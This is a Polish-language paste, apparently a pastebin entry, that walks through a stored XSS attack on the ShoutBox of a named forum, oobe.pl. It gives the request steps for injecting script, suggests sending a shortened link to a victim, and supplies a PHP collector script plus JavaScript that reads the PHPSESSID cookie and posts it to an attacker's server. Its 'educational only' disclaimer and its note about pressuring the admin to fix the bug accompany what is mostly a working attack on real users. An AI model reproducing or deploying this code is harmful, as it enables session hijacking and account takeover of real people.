SHOW:
|
|
- or go back to the newest paste.
| 1 | XSS OOBE.pl | |
| 2 | by robercik101 :P | |
| 3 | ||
| 4 | Chciałbym przedstawić tu koncepcję ataku XSS na użytkowników forum oobe.pl, głównie na ShoutBox, | |
| 5 | który został usunięty ze strony po tym jak odkryłem w nim błąd typu Cross Site Scripting ( | |
| 6 | (http://www.oobe.pl/park/index.php?showtopic=7637), jednak dalej jest on zagrożeniem, za pomocą niego można | |
| 7 | wstrzyknąć kod JS, który przechwyci ciasteczko sesyjne i wyśle je na podany przez nas adres. | |
| 8 | Przedstawiona tu metoda została zamieszczona tylko i wyłącznie w celach edukacyjnych i używasz jej TYLKO NA WŁASNĄ | |
| 9 | ODPOWIEDZIALNOŚĆ ;) | |
| 10 | Została tu ona zamieszczona, aby pokazać jak źle jest ona zabezpieczona ;) | |
| 11 | Potrzebne narzędzia: HackBar dla FireFox | |
| 12 | Po zalogowaniu się na forum, w HackBarze zaznaczamy "Enable Post Data" i "Enable Referrer", w pierwsze pole | |
| 13 | wpisujemy: | |
| 14 | http://www.oobe.pl/park/index.php?autocom=portal&do=sb_post&xml=1 | |
| 15 | w drugie: | |
| 16 | Post=tu_nasza_tresc&sb_id=& | |
| 17 | tu_nasza_tresc to nasz text do zapostowania ;) | |
| 18 | Często wymaga on zakodowania w formacie URL, wtedy zaznaczamy tu_nasza_tresc, wchodzimy w menu "Encoding" i klikamy | |
| 19 | URLEncode | |
| 20 | W trzecie pole wpisujemy: | |
| 21 | http://www.oobe.pl/park/index.php | |
| 22 | I wciskamy przycisk "Execute" ;) | |
| 23 | Powinna się pojawić biała strona z napisem "ok" w rogu | |
| 24 | Teraz można sprawdzić czy nasz tekst się zapostował wchodząc na | |
| 25 | http://www.oobe.pl/park/index.php?autocom=portal&do=shoutbox | |
| 26 | Link powyżej można wysłać w czystej formie lub skracać na tinyurl.com i wysłać ofierze u której chcemy aby nasz | |
| 27 | skrypt się uruchomił ;) | |
| 28 | ||
| 29 | A tu skrypt przechwytujący ciasteczko sesyjne, składa się on z dwóch elementów, pliku save.php który wrzucamy na serwer | |
| 30 | i który zapisuje ciasteczko a drugi przechwytuje je i wysyła je do tego skryptu do poprzedniego (save.php), | |
| 31 | prawda, że proste? :P | |
| 32 | ||
| 33 | save.php | |
| 34 | == CUT HERE == | |
| 35 | <? | |
| 36 | $fp = fopen("data.txt","a");
| |
| 37 | foreach($_POST as $A=>$B){
| |
| 38 | fwrite($fp,$A."=".$B."\n"); | |
| 39 | } | |
| 40 | fclose($fp); | |
| 41 | ?> | |
| 42 | == CUT HERE == | |
| 43 | To wrzucamy do shoutboxa jako tu_nasza_tresc (trzeba zakodować!, | |
| 44 | jak wrzucasz kod bezpośredni nie zapomnij o tagach <script> i </script> przed i po kodzie | |
| 45 | ) albo jako plik js na zdalnym serwerze i dołączyć | |
| 46 | go za pomocą tagu <script> z parametrem src ;) (lepiej wybrać to drugie!) | |
| 47 | ||
| 48 | == CUT HERE == | |
| 49 | //Funkcja pobierające cookie | |
| 50 | function getCookie(cname) | |
| 51 | {
| |
| 52 | var name = cname + "="; | |
| 53 | var ca = document.cookie.split(';');
| |
| 54 | for(var i=0; i<ca.length; i++) | |
| 55 | {
| |
| 56 | var c = ca[i].trim(); | |
| 57 | if (c.indexOf(name)==0) return c.substring(name.length,c.length); | |
| 58 | } | |
| 59 | return ""; | |
| 60 | } | |
| 61 | var xml; | |
| 62 | if (window.XMLHttpRequest){
| |
| 63 | xml=new XMLHttpRequest(); | |
| 64 | } | |
| 65 | else | |
| 66 | {
| |
| 67 | xml=new ActiveXObject("Microsoft.XMLHTTP");
| |
| 68 | } | |
| 69 | xml.open("POST","http://adres_twojej_strony/save.php",true);
| |
| 70 | xml.setRequestHeader("Content-type","application/x-www-form-urlencoded");
| |
| 71 | xml.send("sid="+getCookie("PHPSESSID"));
| |
| 72 | == CUT HERE == | |
| 73 | ||
| 74 | Pozdrawiam i życzę szczęśliwego roku 2014 ;) | |
| 75 | - | robercik101 ;) |
| 75 | + | robercik101 ;) |
| 76 | ||
| 77 | Aktualizacja: | |
| 78 | Błąd dalej tam tkwi, więc upubliczniam ten tekst, może to sprawi że admin to poprawi :) |